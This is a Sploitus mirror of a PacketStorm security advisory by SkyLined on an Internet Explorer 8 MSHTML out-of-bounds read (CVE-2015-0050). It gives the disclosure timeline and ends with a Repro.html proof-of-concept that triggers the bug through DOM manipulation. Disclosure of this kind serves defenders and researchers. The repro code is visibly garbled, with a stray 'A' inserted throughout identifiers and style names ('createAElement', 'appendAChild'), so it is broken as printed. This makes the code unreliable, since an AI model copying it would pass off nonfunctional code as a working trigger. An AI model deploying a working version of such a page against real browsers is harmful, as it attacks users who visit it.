Sploitus

Exploit for Microsoft Internet Explorer 8 8 MSHTML SRunPointer::SpanQualifier/RunType Out-Of-Bounds Read

packetstorm · 2016-11-23

Exploit Code

html100 lines
## https://sploitus.com/exploit?id=PACKETSTORM:139862
Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the  
sixteenth entry in that series. Unfortunately I won't be able to  
publish everything within one month at the current rate, so I may  
continue to publish these through December and January.  
  
The below information is available in more detail on my blog at  
http://blog.skylined.nl/20161122001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 8 MSHTML SRunPointer::SpanQualifier/RunType OOB read  
=========================================================  
(MS15-009, CVE-2015-0050)  
  
Synopsis  
--------  
A specially crafted web-page can cause Microsoft Internet Explorer 8 to  
attempt to read data beyond the boundaries of a memory allocation. The  
issue does not appear to be easily exploitable.  
  
Known affected software, attack vectors and mitigations  
-------------------------------------------------------  
* Microsoft Internet Explorer 8  
  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling Javascript should prevent an attacker  
from triggering the vulnerable code path.  
  
Description  
-----------  
The issue requires rather complex manipulation of the DOM and results in  
reading a value immediately following an object. The lower three bits of  
this value are returned by the function doing the reading, resulting in  
a return value in the range 0-7. After exhaustively skipping over the  
read AV and having that function return each value, no other side  
effects were noticed. For that reason I assume this issue is hard if not  
impossible to exploit and did not investigate further. It is still  
possible that there may be subtle effects that I did not notice that  
allow exploitation in some form or other.  
  
Time-line  
---------  
* *June 2014*: This vulnerability was found through fuzzing.  
* *October 2014*: This vulnerability was submitted to ZDI.  
* *October 2014*: This vulnerability was rejected by ZDI.  
* *November 2014*: This vulnerability was reported to MSRC.  
* *February 2015*: This vulnerability was addressed by Microsoft in  
MS15-009.  
* *November 2016*: Details of this issue are released.  
  
Cheers,  
  
SkyLined  
  
  
  
Repro.html  
  
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"  
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<meta http-equiv="X-UA-Compatible" content="IE=Edge" />  
<style>  
position_Afixed { position: fixed; }  
position_Arelative { position: relative; }  
float_Aleft { float: left; }  
complex { float: left; width: 100%; }  
complex:first-line { clear: left; }  
</style>  
<script>  
window.onload = function boom() {  
oAElement_Afloat_Aleft = document.createAElement('float_Aleft');  
oAElement_Acomplex = document.createAElement('complex');  
oAElement_Aposition_Afixed = document.createAElement('position_Afixed');  
oAElement_Aposition_Arelative = document.createAElement('position_Arelative');  
oAElement_Atable = document.createAElement('table');  
oAElement_Ax = document.createAElement('x');  
oATextANode = document.createATextANode('x');  
document.documentAElement.appendAChild(oAElement_Afloat_Aleft);  
oAElement_Afloat_Aleft.appendAChild(oAElement_Acomplex);  
oAElement_Afloat_Aleft.appendAChild(oATextANode);  
oAElement_Acomplex.appendAChild(oAElement_Aposition_Afixed);  
oAElement_Acomplex.appendAChild(oAElement_Aposition_Arelative);  
oAElement_Acomplex.appendAChild(oAElement_Atable);  
oAElement_Acomplex.appendAChild(oAElement_Ax);  
setATimeout(function() {  
oAElement_Ax.setAAttribute('class', 'x');  
setATimeout(function() {  
alert();  
document.write(0);  
}, 0);  
}, 0);  
}  
</script>  
</head>  
</html>